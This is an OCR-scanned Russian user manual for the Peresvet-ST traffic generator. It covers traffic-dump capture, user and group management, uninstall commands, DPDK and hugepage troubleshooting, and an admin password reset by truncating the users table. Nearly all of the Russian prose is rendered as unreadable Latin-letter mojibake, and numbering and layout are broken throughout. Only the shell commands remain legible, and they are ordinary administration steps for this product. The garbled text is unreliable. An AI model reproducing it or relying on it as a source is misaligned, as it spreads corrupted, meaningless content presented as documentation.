1) Tlogxnrountbes k BeO-untepdeticy I[lepecrer-CT.

2) lIlepeiiTu B pa3nen 3agaumn

3) BriOpartb 3ama4y, 10 KOTOPOIl HEOOXOAUMO COOpaTh 3anuch Tpaduka.

4) IlepeiiTu B HACTPOWKH BKJIFOUEHHUS 3aMKcU Tpaduka, HaxkaB Ha KHONIKY «Jlamribl Tpaduka»

(cm. Puc. 5)

KoHpurypaums

Puc. 5 - Knonka «lamnsl Tpadguka

5) Ilepexmtounte TymOiep «3anuch AaMIIOB Tpaduka

6) 3amomHUTE ToJIe «3HAYECHUE»

7) Bribepere BeNIUYMHY U3 CITUCKA!

a. Bytes — B OaifTax
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b. KB — B kunobaiirax
c. MB — B Merobaiitax
d. GB - B rurob6aiirax.
8) [asnee HeoOXOAMMO NEPEUTH B HACTPOIKK BHIOpAaHHOM 3aJ]aui U 3allyCTUTh 33]auy
9) Jlamee mepeliTH HACTPOWKHM BKJIIOUEHHUsS 3amUCcU Tpaduka, HakaB Ha KHONKY «JlamMribr
Tpaduka
10) B oxne «/lammbl Tpaduka» mpucyTCTBYyeT TabiHIa C CAETaHHBIMU 3aMHCAMU TpadHKa.
CrpaBa OT BRIOpaHHOH 3aITUCH HAXMHTE KHONIKY «CKayaTb» U J0KIUTECh 3arpy3KHU 3a1iCh
Tpaduka.
B sToif Tabnuie otoOpaxkaroTcsi Aamibl, COOpaHHBIE B MPOIECCE BBIMOJIHEHUS JTaHHON
3agaun. /s X mosiBIICHHSI M BO3MOXXHOCTH CKauMBaHUS JOJDKHA OBITh aKTHBHPOBAHA OTIIIUS
3anucu. CHUMKH MOTAAAI0T B TaOIHILY B CJICYIOLTIX CITydasx:
» Korna 3agaua 3aBepiiaercsa (HEBa)XXHO, aBTOMATHUUYECKU WJIM BBl CIENATU 3TO BPYUYHYIO).
* Ecnu Bo BpeMmst BBITIOJIHEHUS 33]Ja41 3aPOCHITH IaMII C KAKOT'0-TO KOHKPETHOTO areHTa
JlJiss MTOBTOPHOTO 3ampoca 3anucu (aiyioB ¢ areHTa HeoOXOAMMO HaXKaTh KHONKY « OOHOBUTH

CIIHCOK (haityioBy.

5.3.2.2 3anpoc 3anucu mpaguka

B nmponecce BeIMOgHEHNs 3a1a4d Bbl MOXKETE 3allpOCUTh Jamm y areHra. Ilocie oTnpaBku

3ampoca Ha IOJydyeHHue Jaamia, Qailil mosBUTCS Ha KoHTposuiepe. [Ipu 3aBepiieHuun 3ajauu, JaMIibl

ABTOMATHYCCKU 3arpyKar0TCs Ha KOHTPOJUJICP U JOCTYITHBI JJIs1 CKAYUBaHUA.

J171s 5TOr0 HEOOXOUMO:

1) Tonkmrountsbes k BeO-untepdeiicy Ilepecser-CT.

2) IlepeiiTu B paznen 3agauu

3) BriOpats 3amauy, 1o KOTOPOil HEOOXOAUMO COOpaTh 3anuch Tpaduka.

4) TlepeiiTu B HACTPOWKH BKIIOUECHHUS 3alIUCH TpaduKa, HaXKaB Ha KHOMKY «Jlammbl Tpaduka»
(cMm. I14.3.2.1), ybenurcs, 4To 3aMuch 1aMIOB TpaduKa BKIIOYEHA.

5) Jlanee HeoOX0AMMO BEpHYTHCA B 3a7a9y U BKIIIOUHTH €€.

6) Jlamee BepHYThCSI B HACTPOWKH BKIIFOUEHHUS 3amUcH Tpaduka, HaxkaB Ha KHOMKY «JlamMibr
Tpaduka

7) B oxne «Jlammbl Tpaduka» HaXKaTh Ha KHONKY «3a/1eCTBOBAHHBIC areHTH)

8) [anee, B cTpoke HEOOXOAMMOIO areHTa HAXKMHUTE Ha KHOMKY «3alpOCUTh JaMID»

9) Jlanee HeoOxoauMo HaxkaTh Ha KHOMIKY «O030p (aiinon»
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BaxxHo: mporiecc 3amnpoca nqama tpaduka ¢ areHTa Ha KOHTPOJUIEp 3aHUMaeT HEKOTOPOE BpeMst

B 3aBHCHMOCTH OT Harpy3Ku BHYTPH 33/1a4u U 00bEMa Jamma Tpaduka.

10) [lanee HeoOXoAMMO HaXaTh Ha KHONKY «OOHOBHUTH CIIMCOK (hailsioBy»

11) B oxne «/lammbl Tpaduka» mpucyTCTByeT TabiHIa C CAETAHHBIMU 3aIHCAMU TpadHKa.

CnpaBa OT MOSBHUBIIEHCS 3aITUCH HAKMHTE KHOIIKY «Ckayatb» JOXIUTECh 3arpy3Ku

3amucH Tpaduka.

5.4 Hacmpouka «[llonnb30eamernu u 2pynnbi»

Bxiaaka "Ilonmp3oBarenn u rpynmbl’ B BeO-uHTEpdeiice MO3BOISET yA0OHO YIPaBIATH

YUYCTHBIMU 3alIUCAMU: CO3AaBaTb, pCAAKTUPOBATbL U YAAIATH MoJb30BaTelIeh U IpyIIIbI, obecneunBast

s exTUBHOE AAMUHUCTPUPOBAHUE JIOCTYIIA U POJICH B CHCTEME.

5.4.1 Hactpouka «I'pynn»

5.4.1.1 Co30aHue epynnbli

Jlist Toro, 4ToObI CO3/1aTh IPYIINY IS [TOJIb30BaTEIeH HEOOXOANMO:

1) TIlepeittu B pazaen [loab3oBatenaun — ['pynnbi;

2) [anee Haxatb Ha kHOIIKY «Co3aath I'pynmy» (puc. Puc. 6)

MepecBeT-CT

lpynnbl

MONb30OBATEJIN

Q. Mowmck

Puc.

6 — Knonka «Co3aats rpynimy»

3) B oxne «HoBblii monp30BaTeNby 3amoiHUTh Nojie «Ha3Banue rpynmsi»

4) BpiOpaTh npaBa MoJb30BaTENEH IPYIIBI U3 CIEIYIOMIETO CIUCKA:

o o @

&

lmz)

JocTyn k nambopaam
Coznanue rpymnn
VY nanenue rpynn

Urenue rpynn

PenaxktupoBanue rpynmn

YreHue 10roB

UteHne HaCTPOEK
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h. PenakTupoBaHme HACTpOEK

1. UYrenwue 3amay

j. PemaktupoBanue 3a1a4

k. BroxupoBka nonb3oBaTenei

. Co3panue moies3oBaresei

m. YaajneHue mojn30BaTeiei

n. YreHue moabp3oBaTeiiei

0. PepaktupoBanue noap3oBaTenen

5) MHanee, nns co3nanus rpymnnbl HEOOXOJMMO HaXaTh Ha KHOMNKY «[IpuMeHUThY.

5.4.1.2 PeGakmupoeaHue 2pynnbi

Jlist TOrO, YTOOBI PEAAKTUPOBATH TPYIIIY JJIS TIOJIb30BaTENICH HEOOXOIMMO:

1) TIlepeittu B paznen [loab3oBatenaun — ['pynnbi;

2) BriOpaTh Hy)XHYIO IPYIIly U HAIPOTHUB HEEe HaXaThb Ha KHOIKY

3) Bemonauts HeoOxoaummoe wu3MeHeHHe B mnapamerpax «HasBanue rpynmey «IIpaBa

II0JIB30BATEIIEH B IPYyIIIIE)

4) Hanee, 1uisi COXpaHEHUsI HACTPOEK TPyl HEOOXOAUMO HaXKaTh Ha KHOMKY «[IpuMeHUTH» .

5.4.1.3 YOaneHue epynnbli

Jly1g TOro, YTOOB! YAAIUTH TPYIITY JUIS OJIb30BETENeH HE0OX0AUMO:

1) Ilepeiitu B paznen Ilonb3zoBatenu — I'pynnbl;

2) BpiOpaTh HyXHYIO IpyIIy U HAPOTHB HEE HAaXaTh Ha KHOIKY

X

3) Jlanee, B mosiBUBLIEMCS] OKHE « Y JaJleHHE TPYIIbD JJi BBIOPAaHHOM IPYIIbI MOATBEPIUTE

YAAJICHUEC, HAXKaTUCM KHOIIKH ((HO}ITBepI[I/ITB».

5.4.2 Hactponka «lMonb3oBatenen»

5.4.2.1 Co3daHue nosnb3oeamerns

Jy1g Toro, 4TOOBI CO3AaTh TPYIITY JUISl TOJIH30BETE HEOOX0AUMO:

1) Ilepeiitu B pa3aen [Moan3oBatenu — Iloab3oBartesin;

2) Jlanee HaxaTh Ha kHOTIKY «Co3aaTh [losib3oBaress» (puc. Puc. 7);
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3)
4)
S)
6)
7)

8)

lNepecBeT-CT

[Monb3oBaTenu

rPynnbl

Puc. 7 - Knonka «Co3nars Iloab3oBaTesisi»
B oxne «HoBbIif 0JIb30BaTENb) 3aNIOTHUTD MOJIE «AJIPEC 1. MOUYTHIY;
3amoaHuTh mojie «MMs monep3oBaTensy;
BrIOpaTh COOTBETCTCBYIOIIYIO TPYIIITY U3 CITUCKA TPYIIIT,
Janee, muist co3aHus MOJIb30BATENSI HEOOXO0IUMO HaXaTh HA KHONKY «IIpuMeHUTHY;
ITocne st0 B oOkHe «JlaHHBIC TSI BXOJa» IMOSABATCS IMapa JIOTHHA WM IApOJIsl JUIs
MIPOXOXKACHUS ayTeHTU(PUKAIMK B BeO-uHTEpdeiice;
[Tpu mepBoii ayTeHTH()HUKAINH [TOJIB30BATEIIO OYACT MPEAI0KEHO CMEHUTH TapoJib (cm. I1

42.1.1).

5.4.2.2 PeGakmupoeaHue nosb3o08ameiisi

J51g TOro, 4TOOBI PelaKTUPOBATh JJAHHBIE MT0JIb30BATENSI HEOOXOIUMO:

1)

2)

3)
4)

[Tepeiitu B paznen [Moab3oBatenu — Iloab3oBaTenu;

BbiOpaTh HY)XHOTrO MOJIb30BaTENsl M HANpPOTHB HEE Ha)KaTh HA KHOIKY - A B
MOSIBUBIIEMCS] OKHE HaXkKaTh KHONIKY «PegakTupoBaThy.

BrinonHuTh HE00X0AMMOE H3MEHEHHUE B TapaMeTpax Moab30BaTelNs

Janee, st COXpaHEHHUs] HACTPOEK TOJIb30BATENsl HEOOXOJUMO Ha)XaTh Ha KHOIKY

«ITpuMeHUTHY.

5.4.2.3 bnokupoeka nosib3oeamersi

Jl51g TOr0, YTOOBI PelaKTUPOBATh JJAHHBIE MOJIL30BATENSI HEOOXOUMO:

1)

2)

3)

[Tepeiitu B paznen [Moab3oBaTenu — [losb3oBaTenu;

BBI6paTB HYXHOT'O IIOJIb30BATCJId W HAIIPOTHB HEC HAXATh Ha KHOIKY - n B
MOsABUBIICMCS OKHC HAKaThb KHOIIKY «38.6J'IOKI/IpOBaTL».
I[aﬂee, L IPUMCHCHUS 6J'IOKI/IpOBKI/I K IIOJb30BaTCIIIO HCO6XO,Z[I/IMO HaXaTb Ha KHOIIKY

«ITpuMeHUTHY.
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4) Jlanee HanpoTHUB 3a0JOKMPOBAHHOTO MOJIB30BaTEN B cTONIOIE «CTaTyC» y HErO M3BMEHUTCS

COCTOSIHHE ¢ « AKTHBHBIN» Ha «3a0710KUPOBAHHBIN

5.4.2.4 YOaneHue nonb3oeamens

HJ’I?I TOoro, YTOOBI YAAJIUTD IIOJIb30BATCIIA HCO6XOI[I/IMOZ

1) Ilepeiitu B pa3znen [Moab3oBatenu — Iloab3oBartesin;

X

2) BpIOpaTh HYHOTO TOJI30BATENS U HAIPOTUB HEE HA)KaTh Ha KHOTIKY

3) [[anee, B ITOABUBIIEMCS OKHEC «Vz[aneHI/Ie ITOJIB30BaTCIIsA» OJIA BI)I6paHHOFO I10JIB30BaTECIIA

NMOATBCPAUTEC YHAJICHUC, HAXKATHUEM KHOIIKU «HOI[TBep,I[I/ITb».
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6 UHcTpykuua no yaaneHuto lNepecBet-CT

Hnst ynanenust arenta u koutposiepa IlepecBer-CT TpeOyercss MpUMEHHTH CIEIYIOLINE

KOMaH/IbI:
1. systemctl stop peresvet-st-agent
a. OcranaBnuBaem cepuc [lepecBeT-CT areHT (cucrema reHepamuu Tpaduka)
2. systemctl stop peresvet-st-controller
a. OcranasnuBaeM cepsuc [lepecBeT-CT koHTposuiep (cuctema ynpaBiieHus)
3. dpkg -r peresvet-st-agent
a. Ynansewm cepBuc [lepecBer-CT areHt
4. dpkg -r peresvet-st-controller
a. Ypamsem cepuc [lepecBer-CT KoHTpoOIUIep
5. ninja -C /opt/peresvet-st/dpdk uninstall
a. Ypgamnsem DPDK
6. rm -rf /opt/peresvet-st
a. B [naHHONM mnamke HaxoIATCA cHUCTEMa YIpaBleHUs (KOHTPOJUIEp), CHCTEMa
TeHEpaIH CETeBOro Tpaduka (areHr)
7. docker compose down
a. B nmupexktopum, rtme ycranaBnuBaics IlepecBer-CT.  OcranaBiuBaem
BcrioMoraroree [10 (PostgreSQL, Clickhouse, Grafana)
8. cd..
a. B mupexropumn, rae ycranasnusaics Ilepecser-CT
9. rm -rf ./compose
a. B mupexropumn, rae ycranasiubaiics [lepecser-CT
Jluem
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7 Yactble npobnembl N nx pelueHne

Ecnu 3amanme He 3amyckaercsi, rpaduKd OTCYTCTBYIOT WJIM IycCThle (B T.4. OTCYTCTBYET
3HaueHue «0»), To MpoBephTE:
1. Yto Huge Pages ycTaHOBIIEHBI U HACTPOECHBI, IPUMEHUTE CIEAYIOLINE KOMAaH IbI:
a. echo 8192 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr _hugepages
b. mkdir /mnt/huge
c. mount -t hugetlbfs nodev /mnt/huge
2. PCI-ycTpoilcTBO KOppeKTHO Tiepenano noj ynpasieHue DPDK, npumenute cinenyromue
KOMAaH/Ibl:
a. echo 1 >/sys/module/vfio/parameters/enable unsafe noiommu mode
b. modprobe vfio enable unsafe noiommu mode=1
c. dpdk-devbind.py —status
i. IlocmoTpuTe Bce ycTpoilcTBa IOCTYNHBIE K IepeAadye MOoJ yMNpaBieHHE
DPDK wucnosbs3ys komaHgy
d. dpdk-devbind.py --bind=vfio-pci <pci addr>
i. Ilepenaiite mon ynpasienuss DPDK tpebGyemoe yctpoiictBo, <pci addr>
TpeOyercs 3ameHuTh Ha PCl-ampec ycTpolcTBa KOTOPBIM BBl MOTYYHIIH,
npumenuB komanay dpdk-devbind.py —status
1. Y6enurech, uto niepeaaere noj ynpasienue DPDK He cereBoii unrepdeiic
ynpasineHuss. Bce mnepenannble mnopn ynpasiaenue DPDK  ceresble

uHTepQeichl CTaHYT HEJIOCTYIIHBI ITPU 3aITyCKe 3aJauu

Ecim Bbl 3a0bLIH mapojib OT IIOJB30BATCIIA IO YMOJIYAaHHUIO, WU 3TO eI[PIHCTBeHHBIﬁ
MOJIb30BATCJIb, C KOTOPOI'O BbI MMOMNAAACTC HA CUCTCMY YIIPABJICHU, HCHOHBSYﬁTC CIICAYIOINE KOMaH/bI

B 0a3e JaHHBIX MOJKIOUUBIINCH K BM/cepBepy uepe3 SSH:

1. sudo su - postgres psql

2. \c systemtrace (nau MHOE Ha3BaHUE, Systemtrace — Ha3BaHue b/ mo ymomuanuio)

3. TRUNCATE TABLE users;

4. exit

5. systemctl restart peresvet-st-controller (mepe3amycTuTe KOHTPOIUIEP)

6. Tlocne mepesarmrycka KOHTpOJUIEpa — MOIB30BATENb [0 YMOIYaHUIO OYAET CO3/IaH 3aHOBO, C

noruHoM «admin» u maponeM «admin» (0e3 KaBBIYEK), MOCIIE aBTOPU3ALMU CUCTEMaA

yYHpaBJICHUS MMOIMIPOCUT BaC MIOMCHATH IMAPOJIb

Jlucm
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8 NepeyeHb NPUHATBLIX COKpaLLeHUN
HTTP/HTTPS IIpoTOKOI NPHUKIIAJIHOTO YPOBHS IIEPEJAYN JAHHBIX

[P-azpec YHUKaNIBHBIA afpec, UACHTUGUIUPYIONTUH YCTPOMUCTBO B HHTEPHETE HIIH

JIOKQJILHOU CETH

SSL Kpunrorpadguueckuii mpoToko

BM BuptyanbHas mammHa

TCP [IpoTOK0JIOM TPAaHCIIOPTHOTO YPOBHS
CYB/] Cucrema yripaBieHus: 6a30M JaHHBIX
1o IIporpammHoe obecnieueHue

Jlucm
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9 OGpalueHune B crnyxby noaaepxku

Ecnu npu pabote ¢ I10 y Bac BO3HHKJINM MPOOIEMBI WIIK BOIIPOCHI — CBSIKUTECH CO CITYkKOOi

TEXHUYECKOH MOICPKKH TI0 AJIEKTPOHHOUN ToUTe support@peresvet.it.

Bpewms pa6otsi: ¢ 9-00 1o 18-00 mo MOCKOBCKOMY BpEMEHHU B Oy THUE JTHU.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama
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